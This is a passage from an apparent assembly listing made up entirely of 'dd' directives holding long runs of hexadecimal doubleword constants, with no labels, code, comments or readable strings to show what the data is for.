2D593898h, 0A1D031E1h dd 216CA430h, 484B4CF8h, 0E6008928h, 87040AE4h, 801E031Eh dd 634008E1h, 0EE9F1B54h, 825E0062h, 5F3BA9E7h, 0D926142Ch dd 6F031504h, 0E127EBB5h, 58809BC5h, 480CF3B2h, 2500B4DCh dd 0F262EC44h, 3B6476FEh, 2E1651BEh, 9EEE011Eh, 0C8A81D90h dd 3800BDD2h, 6FF424D3h, 7AF7C1h, 0F6BA675h, 3662E763h dd 0DCF5FD00h, 0EDE2B19Ch, 7BF31D73h, 79B20060h, 0CE46B553h dd 35067D07h, 7530B6BEh, 2ADAEBh, 0F1F26191h, 8B8817EDh dd 210B3307h, 938084DBh, 32A3C3h, 0AAE8B810h, 802DC2F9h dd 0AED05A00h, 72FB65DBh, 36C83A85h, 42A3540Fh, 7D390C73h dd 0E91E44D0h, 0CBC4B2F2h, 0D1877174h, 56156040h, 0BBA600DCh dd 51F8A0FCh, 0D9004699h, 0E6742F26h, 26551438h, 0B469CBh dd 9171EB7Eh, 30002772h, 0AE7B7D7h, 56249Bh, 0DCB8D5F7h dd 0A3CDB061h, 6CC4BA00h, 251D8F8Ah, 38A70798h, 0DCB8955Eh dd 0F31E9018h, 0C940B42Ah, 0CC293268h, 47B0098Fh, 0B4A2E36Dh dd 34680A9Dh dd 45009373h, 0D33229B2h, 70B58EA8h, 984D0447h, 808FB03Bh dd 85CC65F4h, 0AD039500h, 45084476h, 66C200C4h, 6AC942D5h dd 0F30B7D56h, 0A6F86Ch, 5F279FD0h, 97E70095h, 5065B839h dd 0C6017D4Bh, 8F4DB58Dh, 0C3246C8h, 0EAAC8600h, 44AB103Fh dd 0D0C53D1Fh, 0B40825Fh, 0AC404CCFh, 83220316h, 0AE9FF5B9h dd 8D3CE8E0h, 0C5E3EF00h, 0DCCA1DBBh, 0BF320024h, 0BAE5E48Bh dd 313F111Eh, 41D6001Ch, 0C234C5EDh, 0EC8D006Bh, 0E72791ABh dd 191745CDh, 0AA01C4E9h, 54C7A653h, 3EA98C24h, 4681621Bh dd 9196C382h, 0FDC0609Bh, 0BBB65300h, 3B0677A6h, 568B5C93h dd 89C8700h, 0CA7CD09h, 0C4D0BFh, 0C601031Dh, 5D065893h dd 9F3E1700h, 0B497B090h, 0F1E91CD2h, 5237C03Ch, 20364E2h dd 9E1E9300h, 0C710B2B0h, 8A4B1F3Fh, 50DA80C3h, 4DEA208h dd 23F18201h, 0D3FCA045h, 0EC9EC0CFh, 0D80B1FD7h, 34E1C0EEh dd 0FBB847A2h, 13EA1D02h, 48949F0Dh, 1490638h, 921A2918h dd 0D0DE4F16h, 0C0032CAh, 0DF4EBF2Eh, 0C8E93Fh, 0EC432055h dd 857CD5D4h, 51CD2D2Eh, 0A17AE500h, 9753687h, 0D94B8B99h dd 0D14A3822h, 5E9AC0E0h, 47C73800h, 41EC45ACh, 5702006Fh dd 8CD7F24Bh, 0A8B0DA97h, 448C000h, 63E69EC8h, 505A4888h dd 79CE4402h, 98622C4Bh, 3D001444h, 0F24F9480h, 0DE8B7Eh dd 0EBFB5220h, 0D36676FDh, 0CAF8E7F2h, 60693102h, 41E25085h dd 39F8D904h, 411F0084h, 6BF8AAD0h, 0B0C0ED6Ah, 34DD8C1Bh dd 10EC6FB2h, 432CBB20h, 0F198BA20h, 28D33C1Ch, 7BF782B9h dd 0F781EC1Dh, 74085A68h, 6FE84301h, 822F29A7h, 248AD1F4h dd 3B06DB8Dh, 5459C881h, 0C8CD1F03h, 9B1C058Eh, 24428141h dd 608F483Dh, 0F7677291h, 0EE9A43F4h, 0E45C58A1h, 86BFF500h dd 3D0C09C4h, 0ABFFDD00h, 11707690h, 5650003Ch, 4A77969Dh dd 4D035E19h, 0EB4F5F26h, 0FC57D00Fh, 3DE90FEh, 83071FFBh dd 0D9B0AE19h, 0F3EEC4B7h, 9EE05A00h, 97F06973h, 6D9F0085h dd 0D4B05CFh, 4013E13h, 0E0B3A994h, 0A7600130h, 28601A0h dd 0D22B561h, 1857F42Fh, 3F21D13Ch, 0E1980D0h, 0E5312658h dd 0BAFF0070h, 0F06B7E2Fh, 3516B9BCh, 604B8A21h, 0A59F07E7h dd 0C77C240h, 143B010Ah, 1C916004h, 87F33070h, 1886D05h dd 54804A9Eh, 9CC2DBh, 0E10D044Fh, 3B390960h, 0B3DC8D0Eh dd 0F8FDE0D8h, 85D034h, 88D9F2D2h, 0AF400EA3h, 0DE0A2004h dd 0C4910C71h, 801408E4h, 384A5FD6h, 0BB37E802h, 405A434Bh dd 476F690h, 4FA9D949h, 0AFD88066h, 9B00E342h, 919E94C0h dd 0EB599C4h, 0DBF5B0A6h, 1807C5E2h, 95CED4A0h, 12007177h dd 66498505h, 4678952h, 1EFA68BDh, 97C8C0E4h, 0B8004888h dd 69A67E6Fh, 944BF67Fh, 1C18002Ch, 0AB31AFE7h, 0D5802F05h dd 4A80B83Ch, 124FDC2Ah, 22BB06h, 85F53EA0h, 3006075h dd 7E0E74D3h, 7079B67h, 2AB686Ch, 8187F3C6h, 742DF6E0h dd 40509607h, 9E801AA9h, 18EABD70h, 11139F10h, 6100629Ch dd 6E7FEB76h, 0E0BFA8D8h, 584D74FDh, 173C1380h, 0BC691180h dd 203FDA65h, 3DB46607h, 3BE05589h, 0BA61D3h, 0E936A12Dh dd 569D6B39h, 48FFCD30h, 10F9EF94h, 7D5B7D6Dh, 0E2641B00h dd 6C3DA43Bh, 94C0096h, 33A3E7ABh, 291D58DCh, 0C5E0665h dd 0B31EC440h, 7984F2FFh, 0D06C0E49h, 417FD6D7h, 1EA951C6h dd 0AD61F834h, 2D249C00h, 77079992h, 0CB4E00B7h, 4CA3B482h dd 8AB0F710h, 96D40300h, 0A9BA0D79h, 0C3AD002Ah, 15D39B04h dd 5190144Dh, 83323E00h, 615623DBh, 985900A0h, 9CC509A5h dd 5703FCF4h, 62A8B8E6h, 9BF1C802h, 60990FBAh, 2A608879h dd 7F84C939h, 0A70278C0h, 0F579A5Fh, 0D0F09C12h, 0C5698A0h dd 0B4003BB3h, 9DB9F73h, 1AE6B1Dh, 358A5ADDh, 30973A33h dd 4E008921h, 5FE65ECCh, 0C1876Dh, 8CCFBB77h, 0E099D5BAh dd 0A1BE0900h, 2046491Ah, 766E0E96h, 5E600C54h, 6C2F9580h dd 308C5900h, 96B8A1CCh, 0E4A7007Fh, 50E5BA67h, 5800293Fh dd 8B326683h, 7848D7h, 285C38B1h, 76712EBCh, 7737B200h dd 133B877Dh, 38660032h, 4F1EDE29h, 0B6032521h, 26DC4E80h dd 0F4AFF077h, 0A1EF1C71h, 29FFC04Ah, 69E5BC31h, 2EB50105h dd 0B401283Bh, 0EF6DE0B7h, 68E670h, 0BF233684h, 0D913EDA6h dd 0ADCEB01Dh, 2C497Dh, 0C9418E3Dh, 1E06BC03h, 5F1144h dd 399A82C7h, 9505C1B5h, 0D2FE0AACh, 0E1C282C0h, 4C6C0E68h dd 1580FF42h, 0DCFD0143h, 6B00F77Dh, 0CA11E889h, 7E72FC2h dd 97369281h, 8CAB217Fh, 0ED8C40D9h, 3700A1D5h, 0F8C7A04Ah dd 859BF3h, 2487B6ABh, 789284C3h, 7F23A301h, 5A64C71Fh dd 28FC80F2h, 1249D83Eh, 0BE7CFBh, 0F64E6260h, 84000AB3h dd 191DAA7Ah, 0CE8BAD7h, 2274B9A8h, 0A01EF238h, 0B28042E2h dd 0DDA21AE7h, 0CCF701BDh, 3A62274Fh, 0EEF43EAh, 0F81D8BE8h dd 9C09E907h, 9FF0A659h, 152F479h, 0F98DC92Dh, 0F807CC9Ah dd 7273287Ah, 8B98380Eh, 0B93214Ah, 9BF17E68h, 2805C120h dd 3DD4FD0Eh, 0B280FFF5h, 97CC9CE1h, 3312F6DDh, 1C005462h dd 992142Fh, 1FBC80E0h, 67004A78h, 0F580743Bh, 904033h dd 838D7FA9h, 914B36F6h, 0F7817300h, 0E5FCEA6Dh, 0C5A3F21h dd 43EB700Fh, 0FA621F45h, 0E84852C0h, 0B1C90EEh, 0F7FC7363h dd 0BCAA7280h, 0D1F41143h, 0EB00F17Ah, 9F865F5Ch, 7C9448h dd 0EA9EFC59h, 0CBA1440Bh, 0F267A800h, 0C7E2C6C5h, 693C3B81h dd 0D9281CCCh, 3E0100E8h, 6F77E62h, 800A4A6h, 8BCFF4D1h dd 89BEB0h, 713EFDF8h, 78BF4151h, 126EED00h, 16D9AFF3h dd 61C80002h, 0ADBC0ADBh, 137A9A08h, 0EE24B273h, 0FE026C30h dd 68156169h, 3C73825Ch, 81836DD5h, 0DD45626Ch, 0F955398h dd 841C40Eh, 0DBEC26Bh, 64744017h, 0F23E002Dh, 7D4A4607h dd 0C70F1C35h, 83E55706h, 0C88B45E4h, 982086FEh, 0D1333CB0h dd 0BF4F9E80h, 0E0168E37h, 22FA6900h, 9F762BC2h, 0C4283AB2h dd 0BCDD6300h, 704398A8h, 54E87A00h, 0B8E972Bh, 0FAEC0141h dd 625CDDCh, 0F6CCD084h, 773B0701h, 0CA364C33h, 0F5912DCh dd 442B933Fh, 0FD424800h, 0B005CE9h, 0DD6280D1h, 3665EC0h dd 0FCE004E5h, 41EF56B3h, 0EC4BC62Eh, 0D7006F74h, 838977F8h dd 0ACB2B6h, 3EEC43D2h, 9F908669h, 0AEF01B00h, 5B89938Dh dd 0B9AF0006h, 64EA059Eh, 0DF00A4FBh, 42FE9C37h, 2C39F07Bh dd 4C2C5Dh, 9A88B4F2h, 0BE7DC1C7h, 92220100h, 0BDB5EDE4h dd 187DFDh, 530BDF78h, 14687F5Fh, 50DB9103h, 0C89459E0h dd 0D01C45h, 44CECA7h, 0C337EFEBh, 33686103h, 0A0BF2D32h dd 0E076D59h, 0A6F2E5A2h, 0F9F1E120h, 0DE00BB02h, 735C57FBh dd 3B998C2Eh, 18004B1Bh, 2FD85470h, 890F7F2h, 156F4Ch dd 57E77BE1h, 13EFA658h, 0BA33FCh, 0FEE6AF00h, 7124D6EDh dd 0D00008FDh, 0C56470FBh, 0A504000Bh, 0F9C47F18h, 77F29852h dd 83306203h, 669337h, 0E0C4F311h, 1A0AE870h, 0E23E0EECh dd 0BEED80BFh, 9C555CE7h, 1E0900EBh, 0DD275FA5h, 0D50060C7h dd 66BB59F9h, 7901DBEh, 47E901CCh, 7BC2405Ch, 44002343h dd 2E50A1F9h, 1AD520h, 0E5B7AFB6h, 36667B24h, 40001CF0h dd 20E99475h, 7614ACBAh, 0B984056Bh, 278CDEh, 3581EC8Bh dd 3F02D093h, 0BA625FE2h, 3C24687Fh, 1498076Eh, 0B0ABACB9h dd 75653F83h, 0AD05B8ECh dd 2F74D612h, 0BDCAF800h, 4FFF2C0h, 0FA0897C9h, 2230D069h dd 0F1031595h, 43F7EF6Eh, 69279A96h, 0FC50844Ch, 7DD57DCh dd 4498955Ch, 3832511Ch, 0D0F84030h, 0DB1CD7EBh, 1403DD0Ch dd 8B7B0D6Fh, 0F011D39Ah, 894667h, 9CD22DF2h, 0E4C22919h dd 0D8385828h, 0C7002B78h, 4A633CE5h, 3CCCBB9h, 26B23D05h dd 3FD07DCDh, 14246C12h, 9900E009h, 355DF90Ah, 295300FAh dd 5EA47144h, 5C70CE42h, 0FFCF0800h, 0B56D32E3h, 14AD48DCh dd 37B7CC03h, 0CAE845F6h, 0FF000972h, 0B26E7DC0h, 79E2E0Fh dd 0BC2C03E2h, 46A760E3h, 0BF00A450h, 0ED0F184Eh, 76DFDF3h dd 0F07D7379h, 1442C0EFh, 0CF007494h, 0F1800AB0h, 0F489DF4Dh dd 2A130737h, 401EE972h, 0F749FEB3h, 19A53D00h, 0B2819D64h dd 22720033h, 29048606h, 2E00D1B0h, 556CB126h, 0E42AA8Fh dd 6F61F825h, 13D489C7h, 0C40F0E12h, 43331529h, 0EF788C49h dd 5D7F4F40h, 0D0970BFBh, 7028F44Bh, 0AEF916D0h, 8C8FD00h dd 0E50AE98h, 145E1DACh, 608018E7h, 11130B32h, 2EA19D00h dd 0B33FDA64h, 0BD720112h, 0A2C1DE60h, 0A778C43Eh, 0C3115A00h dd 693DADA1h, 0E34000D4h, 9BF7C498h, 0F1CF04Eh, 7C746A3h dd 0FF209DCAh, 0AEF1F3h, 0C7D6A4EDh, 4DCB1FCCh, 760A9600h dd 79A2B362h, 0FC9A04h, 372C3A89h, 0D45AC89Ah, 52DCC350h dd 54D94007h, 292736h, 2293E218h, 0D5530083h, 5F80C26h dd 177659A3h, 0A54F790Bh, 525C80B1h, 240F62C4h, 800C1DE1h dd 0C0ACB465h, 9E0095C6h, 79070E47h, 1D508F44h, 1FD78C38h dd 34A8734h, 0A4CEE0DFh, 26002845h, 0D927233Dh, 5C936Dh dd 0BDD8A77h, 82FBEBBDh, 926E200Fh, 30AEC028h, 145C566h dd 0C77FCE9Dh, 70BF37FCh, 6C0092CCh, 800E2E16h, 528E41h dd 9D717CD8h, 8350DD4Ch, 9D5BF838h, 2B6E55BCh, 171DD300h dd 0E897AF9Ch, 0E7CEE8D2h, 1556E0h, 0B62CA56Fh, 2AAA51A7h dd 0EC970A00h, 7ACBFE7h, 9D1000Eh, 0BBA62C3Bh, 6A0546A9h dd 204FAEA5h, 58AEC854h, 0C01300C2h, 6A66411Ah, 806C039Fh dd 0A90CF9Bh, 0C13B0FC0h, 4304B00Bh, 656081DDh, 31E86E70h dd 0B6FA00AFh, 6BB7B27h, 0F800BAE7h, 0CFC669CCh, 10AE2A5h dd 0D61BC2E8h, 0C61601ABh, 0D5500460h, 0DB02A607h, 82E01907h dd 702E3B5Bh, 5C64142Ch, 0D90034A2h, 3A9CD8Bh, 887EA6ADh dd 802DFC25h, 0DD90B0A8h, 49B52ED6h, 0D8F43D46h, 19B22149h dd 4107B0E0h, 68125562h, 0F57A66E0h, 26A50030h, 998B5E88h dd 0E005B3Eh, 0F34D7060h, 0A8082Fh, 861D7969h, 0D6215D1h dd 286CBA0Fh, 0CDC21D65h, 8063DDE4h, 0EE0D0B44h, 0D1B0C0D3h dd 262CCC72h, 0AD63D000h, 49BE3F04h, 0EDC100BAh, 0CD93D7A9h dd 3585D46h, 0C30C0078h, 8AF96525h, 12FB00F6h, 4F67F358h dd 217E422Dh, 0AA332B00h, 6F8A3E1Dh, 0BEBB2611h, 0CF87004Bh dd 0ABFEDB59h, 0BF781C39h, 15F480FCh, 0A9636960h, 0D5AD001Fh dd 0F3E221BEh, 0C0056A1Eh, 15B4B842h, 1BFA85C0h, 90B06065h dd 2573C78Ch, 6E623Ch, 5D4AF3BAh, 0FFF54C2h, 0F5633AA8h dd 85F0DE84h, 4A1084A6h, 7004DAD0h, 100006D3h, 0D91295AFh dd 1FFAB10Dh, 0A6DC08h, 0BBB4A717h, 0BA01B809h, 84107729h dd 0D4307155h, 0AC7600FDh, 0B439FB9Ch, 440312D0h, 13093EC0h dd 0AA91E9DCh, 5856980h, 0B82C0B03h, 0E42D620Ah, 7818CC9Dh dd 24FF6821h, 0D74202h, 9C974539h, 0A50094B4h, 0B5CECBD4h dd 7AB03C21h, 76683AA0h, 26CCDA84h, 2023C02Ah, 3F06505Ch dd 0B30A7CFDh, 0E0612A38h, 0B2D000FCh, 3320F18Ch, 0C3007730h dd 3E50627Ch, 0F00442DDh, 4BA030EAh, 46AE6520h, 643A5914h dd 79D2E120h, 0EA107B18h, 0F00F454h, 32081063h, 9A7CDA1Ch dd 3E18F965h, 0B840ADC4h, 863BEF4Dh, 94E10F37h, 4300A944h dd 7D96BC92h, 0A063E8CAh, 280AF11h, 0A02C6203h, 88810CFFh dd 30F0C25h, 83DF4707h, 0F0BEE838h, 4CC72C02h, 5003A86Bh dd 0FCAE14B7h, 8A3240BFh, 4907BDD8h, 6B97FF03h, 3CD3D555h dd 0D92E883Fh, 0ADDF300Ch, 0C898D290h, 0D5BC5C50h, 0E819C30Fh dd 0B6828125h, 0D9865AD1h, 91AF9A6Eh, 0BBF2C0Ch, 0FD3E781Ah dd 80A20823h, 18E88B31h, 0AD1C00D4h, 5ED52FBAh, 0C500F3D6h dd 0F73C2353h, 0F63EB4A9h, 68DE498Dh, 0EC84FA01h, 30BAD368h dd 836F5948h, 9D21F808h, 0A5EC00ACh, 0FB8DF20h, 5203315Bh dd 0A6EBD3ADh, 91F018B1h, 4A6589A9h, 5AB608C6h, 38AFF811h dd 44136994h, 82240C98h, 5007D360h, 0FFC71A62h, 9937F8ACh dd 30EF2C70h, 55281C08h, 0C14749C3h, 0E7210032h, 572CB8B5h dd 0FC0CB275h, 59D6F4CDh, 16BC3247h, 0B0909129h, 9B1D74C2h dd 37541809h, 0BF210124h, 0F4209579h, 0FA076670h, 193030DCh dd 0B3A50B21h, 42F1700h, 1BC6DFA9h, 2A3E00DCh, 6DD10DF2h dd 0B501E049h, 875439E8h, 38C165F7h, 0C900A032h, 0A69D1D68h dd 432AFDD9h, 0C73384AAh, 90732066h, 0DBFE1Dh, 5AEA9B4Dh dd 29B9249Ch, 65A48C54h, 1918AD00h, 8EC5ED0Eh, 2A7F00E0h dd 2C6EA96Fh, 8961667Ah, 42347430h, 565FDA00h, 0D104EA0Ch dd 0CCD8A055h, 982146A9h, 43EA6E00h, 0D6F3D1E8h, 7A972813h dd 28B202E4h, 0AF262B3Fh, 18591441h, 3DEC0887h, 43C482D3h dd 0EC006654h, 917B3DB3h, 50B89614h, 76143E48h, 3A0B8340h dd 0D52A2432h, 4370C8F0h, 21FF5B80h, 4BCF2Ch, 92506025h dd 4135A4E9h, 0F92B60C5h, 0CF0DB008h, 0A6841DC1h, 23AC4411h dd 21001EB0h, 9C1D386Eh, 0DD538C0Dh, 868BC1A9h, 40029985h dd 0A2F8793h, 23CF3209h, 334424BDh, 0FF531E40h, 0F00387Ch dd 47F99319h, 881F37BBh, 2B017754h, 0AF13D44h, 0DD42D530h dd 0F462E005h, 0EFBD06A8h, 5821C7D0h, 0CC08264h, 891D4460h dd 839A623h, 6F0066C8h, 0C0F21D3Bh, 621738DBh, 0D8762987h dd 2AE473E0h, 9BCF54E0h, 0B560CD60h, 48C88B3Eh, 47CFC8DCh dd 0D445007Fh, 0F394AEC7h, 61009491h, 0ACEF6D86h, 94294CDAh dd 0A5C80092h, 0D7493D80h, 1CA93061h, 0A050DB2Eh, 26433E22h dd 24D451F4h, 89881154h, 2CAC8201h, 44BC6C98h, 0B4C2479h dd 174C0ACCh, 0D482B810h, 0E21DB5B2h, 447C4708h, 0B09F6082h dd 0AB10C348h, 0F4E124BCh, 0F27432B3h, 0F6B3040h, 4C4648h dd 0B08256EBh, 489AC3D1h, 0E04060B6h, 43048C0Bh, 41A68A1Dh dd 21002463h, 2F1D3A70h, 0A0903B8Dh, 5813BED0h, 2609284Eh dd 0A68C189Fh, 46E05981h, 6CBB7200h, 0DBBC5D96h, 0ED1829B2h dd 187CF1B4h, 2EDD0097h, 0D306A8ABh, 42E37AC3h, 3D300964h dd 0A680111Dh, 66C68471h, 1D746A00h, 170056FFh, 1663FDE9h dd 0E243A89h, 0C67C5DACh, 0F44C5060h, 4650C330h, 80B80B9Ch dd 804C384Dh, 0D7B8EA0Ah, 40458CF5h, 0EA3360h, 0BB73152Ch dd 0A094605Dh, 0A4743C2Ch, 7CE64700h, 8D8BD0Dh, 0D04A677Eh dd 19AA3F87h, 15EFEB00h, 1D3030DEh, 0DFACC19h, 0C1904BF6h dd 86E3E800h, 0BE9BEB36h, 59BA099Ah, 6837FB89h, 0FE808111h dd 5174D7AAh, 9902CAFAh, 0B05F3212h, 0A7045BBh, 80F8518Ch dd 36270BF2h, 0A6022E76h, 0B5F3D4A2h, 2CD0837Fh, 72EBC0F4h dd 0AA10C0A9h, 4AC99EC7h, 0E4A1E17Ch, 43FF0883h, 1D470237h dd 0CCE1A69Eh, 21226038h, 0B71D3E74h, 0C1464800h, 173487CFh dd 0AC0B2A4h, 43FCB315h, 493A0384h, 390B2CC3h, 82D79E1Ch dd 442A8D0h, 6B64B48Dh dd 0BD220305h, 0C8445731h, 0CBC0D752h, 3B2B98DEh, 0D200E91Fh dd 7507A819h, 28606D33h, 684CDF28h, 0A3AF0727h, 0F045ABA5h dd 6AF5E710h, 2E48324Dh, 0E040008Ch, 0E8DB49h, 0D7292B0h dd 8BB8C123h, 93ED601h, 869FBC45h, 0B5008022h, 26BD565Eh dd 4C006A2Ah, 0C9B7CA1Fh, 32E1D5A5h, 0A630D41Eh, 500990A7h dd 6F5308F2h, 0E6D9B22Eh, 0EADB0403h, 0AF0FEA4h, 32086066h dd 3E880094h, 0A523E3C6h, 0D9B93C03h, 14D1042h, 6ECF3028h dd 0F65061EDh, 46E48045h, 0C835B261h, 6CFE1A5Eh, 8DF6AA3Eh dd 8955CCA2h, 8C3AF834h, 6EA0404h, 0AC8E05D1h, 0EA5C8200h dd 854DD66Fh, 189C2C09h, 0D38C9132h, 242897CCh, 12DC4967h dd 6E046326h, 1216DAD9h, 0E46492h, 54C99594h, 7B4AF214h dd 8DAE8600h, 0B161A41Dh, 70D20974h, 1418558Ah, 8C080471h dd 0BED44A9Eh, 0BA32591Eh, 0EB86B1E0h, 0D202D701h, 3ED54730h dd 5E89091h, 0ED100398h, 77A01D2Dh, 84C167F0h, 12592501h dd 0E8AF9626h, 0B9066DFCh, 15300CCCh, 9B004469h, 0CAD4143h dd 2E9A88CAh, 0F4D8F7E3h, 0BEB3EA0Fh, 60474012h, 4BC4FCAFh dd 98003020h, 55237F30h, 0A70B282h, 87C88432h, 0BC984484h dd 0C121DE23h, 0B86C1D75h, 0AF2FE0BAh, 0F54AEB04h, 0E8C01425h dd 99231B3Ah, 181ED904h, 0B6AE12E6h, 2BD492D6h, 0F13E06Ch dd 8427B36Fh, 0AF28D570h, 577018Ch, 52B46CBEh, 8564F4DBh dd 20096Bh, 935B3C1Fh, 383771CDh, 5EA5B687h, 343078A3h dd 72018100h, 0B25F4779h, 49CA6D7h, 0FC4C2896h, 6440A025h dd 0EC9E048Ch, 62AAD346h, 870F204Eh, 5C9850ECh, 0B132D44h dd 28B6DDA7h, 0D4280888h, 37BC2108h, 6FBB8015h, 26D1194Fh dd 0E009B2F2h, 68307953h, 49C828h, 0A1083703h, 2C1E9825h dd 0D2B7CF13h, 0EEBF1C07h, 405CC6F9h, 48C8674h, 2C0901B7h dd 257D62A8h, 8A48816Eh, 2E15E02Fh, 555CB615h, 0EAD004B0h dd 0DC80FC58h, 1474B00Dh, 0C85C8A8Ch, 8D4B4C06h, 0B1467066h dd 8030401h, 3C64102Ch, 0E6BA034h, 9373E203h, 0A5E70170h dd 36F823A9h, 0B2D00478h, 54C94E2Ch, 0E8F4D431h, 842650C1h dd 0F02E418Fh, 1A18FB88h, 0DA2810D0h, 0B9C46C42h, 0B441D728h dd 168FC428h, 0B5885800h, 39077899h, 0CDB1F95Dh, 0D998A093h dd 0F042BD95h, 0EC89305Fh, 0B2D34311h, 9C804588h, 0C1B6ECB1h dd 72381E20h, 3037C03Bh, 0DF39E991h, 30AC0430h, 0C0BAEBD3h dd 4AA517F9h, 0A0AA68C3h, 21422047h, 0EFDF1865h, 0C40FDE26h dd 82DD3308h, 0EE27DAB0h, 0AE171859h, 0C823D43Ah, 0D3545C00h dd 0CB8D943h, 3130FEC3h, 2502E241h, 997726C7h, 0B871E1h dd 0FE5C11EDh, 0B899AD76h, 0D9242700h, 3A6BE034h, 5FCF7540h dd 860F4EC8h, 93FEB0E1h, 0E4B7F9CAh, 0B9724663h, 0C444D54Eh dd 0EB4E32D0h, 0B943D163h, 75C1DCCAh, 0B6F06434h, 5941D030h dd 3C5B94B5h, 3E2CBA01h, 0EA08C370h, 18A5D7D9h, 60968845h dd 0D4A3EA01h, 0FBF33C7h, 9F00E03Ch, 9A782A36h, 54548D0Bh dd 640030B4h, 0B6C75598h, 3D61480Eh, 0EFA43E58h, 0BB430440h dd 108A23Dh, 0AEDB9BA3h, 0E433C8DAh, 0D6EEAA00h, 0D7791D0Bh dd 0ECF82F26h, 0B24217DCh, 7F380A55h, 431184h, 929FB9E9h dd 77A5AC7Dh, 0E488A5FDh, 0F2566044h, 566FA04h, 0F5322BA1h dd 8FF48033h, 0B0587679h, 52A61020h, 1EB86494h, 0F4A2048Ch dd 91687732h, 38AC6EECh, 0D42904ECh, 98B68239h, 0D9C028E1h dd 54D7E455h, 8FA3BF2Dh, 14C40458h, 7FE2D0A2h, 0A470BD31h dd 849A1070h, 4532014Ch, 6BE1E7B5h, 17B7588Fh, 0D621BD8Eh dd 3C87BADBh, 0E72C7088h, 48268843h, 424674h, 6C187BDEh dd 4DF3D304h, 8100FCB5h, 6D69962Ch, 0B8BBF412h, 5C8BB693h dd 2AC04688h, 6B66AD8h, 418F47Ch, 0B228C8B9h, 1100F057h dd 99973512h, 5ECA190Fh, 6BF4002Eh, 0A675C05Bh, 0EC4A027h dd 0C8D92A78h, 0DA40782Eh, 0A8F97CA2h, 4EDFBF9Ch, 68DC2DD2h dd 8C7FACC0h, 0D0F35D14h, 0C92C74ADh, 0D417D4C0h, 6C636C32h dd 0EB6E0110h, 85E4B75Bh, 0C619D425h, 0AD491800h, 28D36594h dd 1953E895h, 4051E1ECh, 70C3E8B2h, 32E08151h, 3044F210h dd 9B00095Dh, 7BB815C0h, 600498A6h, 13D35074h, 0E8A0AEBBh dd 0DC69E792h, 0E460C538h, 0A4DD6083h, 0EE23042Bh, 0A5310BDBh dd 0C07330B8h, 8703627Dh, 0D860A125h, 0A618E805h, 9AC0A322h dd 4C8C0328h, 0B8F6B91Fh, 88B58E40h, 0DB695Ch, 72607A45h dd 0C157D718h, 3D8AE5Ch, 8CFD1066h, 1397349h, 18B5439Bh dd 0FCDD0468h, 53FC28F4h, 0CE005290h, 492DD7BCh, 0A88ACBD3h dd 4EFF2CD0h, 0D1D00166h, 75866AEBh, 6C9BC1E4h, 0C05A8824h dd 0D344EC80h, 41229A46h, 0EC889901h, 879FF52Fh, 0C82C01C4h dd 7B805240h, 0BFCB980Eh, 33AF3DA0h, 81138858h, 759408FEh dd 1EA61C0h, 2C6D4BD1h, 59007FB8h, 33288FEAh, 0D8FFE2h dd 56B80D8Eh, 0D04968C8h, 0A640809Ch, 509AF7Fh, 0BEB623Eh dd 0CF48008Ch, 0F59BF71Eh, 0D8206E31h, 423CD42h, 4F307DA2h dd 4F2ECB1h, 57C066EEh, 0B9B4821Eh, 6058A47Bh, 72CB0186h dd 37191CA9h, 0B0B182E0h, 852D0AFDh, 6CD022E4h, 26AF3AAh dd 0D1B6EE87h, 18F8F2C3h, 8C2C0926h, 0B2881F18h, 0B1AE6091h dd 1B23DCEBh, 452E4A01h, 14BB3C0Ch, 0B6CA203Ch, 43465EFCh dd 0B3A26C0Fh, 0F7703CE0h, 0C71732D6h, 10D8BAEFh, 0D12903ACh dd 0D53B59F8h, 455419B1h, 0A1FCCCD8h, 3D07E202h, 7A81DB0Ch dd 54456328h, 0C900B577h, 0E848CF56h, 5E8A11h, 0B244E51Dh dd 40B1CD1Ah, 0D50CE70Fh, 544A363Eh, 8511EC61h, 0C01B880h dd 6342B02Ch, 84816FC9h, 0D1FC9FD9h, 0D0243C87h, 13F23ECh dd 0D7B7EA0Bh, 406C18FDh, 63019528h, 18B0F9EAh, 0C032829Eh dd 0C8248A92h, 42A6C082h, 3D03968Fh, 91EDD937h, 217DB6h dd 4AACE07Bh, 6440DB14h, 77C7CF07h, 820B37DEh, 0B70E724h dd 98B58000h, 98B648DCh, 4B659688h, 24118C17h, 8348A480h dd 1C643035h, 0D6C0CA19h, 9097AFh, 0DBEB924Ah, 0A9D9E12Dh dd 0D3A82CF3h, 3190501Fh, 4355B700h, 7A771308h, 3DADD9C1h dd 0B8F47161h, 421F003Bh, 0C3185D44h, 8A1E695Eh, 80ADCDA4h dd 57590C28h, 3BD4A14Eh, 0EA080718h, 0C65DD103h, 811F214Ah dd 7004EA5Fh, 28C148F2h, 9C3424C0h, 9F2140B5h, 98578C28h dd 0D4FE470Bh, 911C4C18h, 60B47364h, 7ECCFCAAh, 1F9FFA53h dd 0A43E8932h, 0CECB08A0h, 4CB2D004h, 0B774CCACh, 5D5A06F0h dd 0C3D3FC70h, 0A8B461D2h, 0C888F511h, 0A0BE8D0Eh, 1DFB2A80h dd 5492E46h, 0B6E24EFh, 0E928D008h, 654FCDFCh, 0C810482Fh dd 960EC766h, 2FC9E750h, 16177DA9h, 9CDD809Ah, 1A6F30C0h dd 29732059h, 399046DFh, 0BA010205h, 0F4BCC75Dh, 3D9AF16Dh dd 446B9328h, 589B1701h, 0D0E5FA92h, 486E7C3Eh, 0E5EBAF90h dd 940BACB9h, 64CC4707h, 810A6046h, 0BC681F66h, 0F1A05857h dd 0C320CF4Ch, 0A6B8051Ah, 975F7F28h, 7E62C2B4h, 0D8F2F304h dd 741CFF24h, 54384546h, 0F88F83ADh, 0D0B0191h, 6F4DC853h dd 39DCDBD8h, 0CD045B43h, 0F09E1960h, 718CB224h, 2C051103h dd 82798808h, 90030D6Ah, 349E3CE0h, 7012E8ACh, 4C401842h dd 0CB463AA3h, 65C75A4Ch, 0B7FCF29Ch, 7686C2A8h, 177CCC8Ah dd 0B9F084B4h, 1203B8B4h, 0B4DB4977h, 0A004980Ch, 0B08171ACh dd 87040D8h, 2E3FCF2Ch dd 4CD4ED80h, 9EBA94F8h, 849101C4h, 4B14CAD8h, 0C07DC8A0h dd 0D64A8C94h, 0EB3B3003h, 757B270Ch, 663E0078h, 0BE255B02h dd 0A012A69Dh, 0C1347E8h, 0F428B0CDh, 78C22BCh, 94A6D099h dd 0F8E6C95Bh, 0D409C8B8h, 424EDAC3h, 0D1BCF908h, 0E71845h dd 5F8FF4E2h, 0AB3E4210h, 0EADA1D04h, 3CB05044h, 58744D17h dd 4078E840h, 5B000FF3h, 0C8593706h, 5261CEC3h, 23F27425h dd 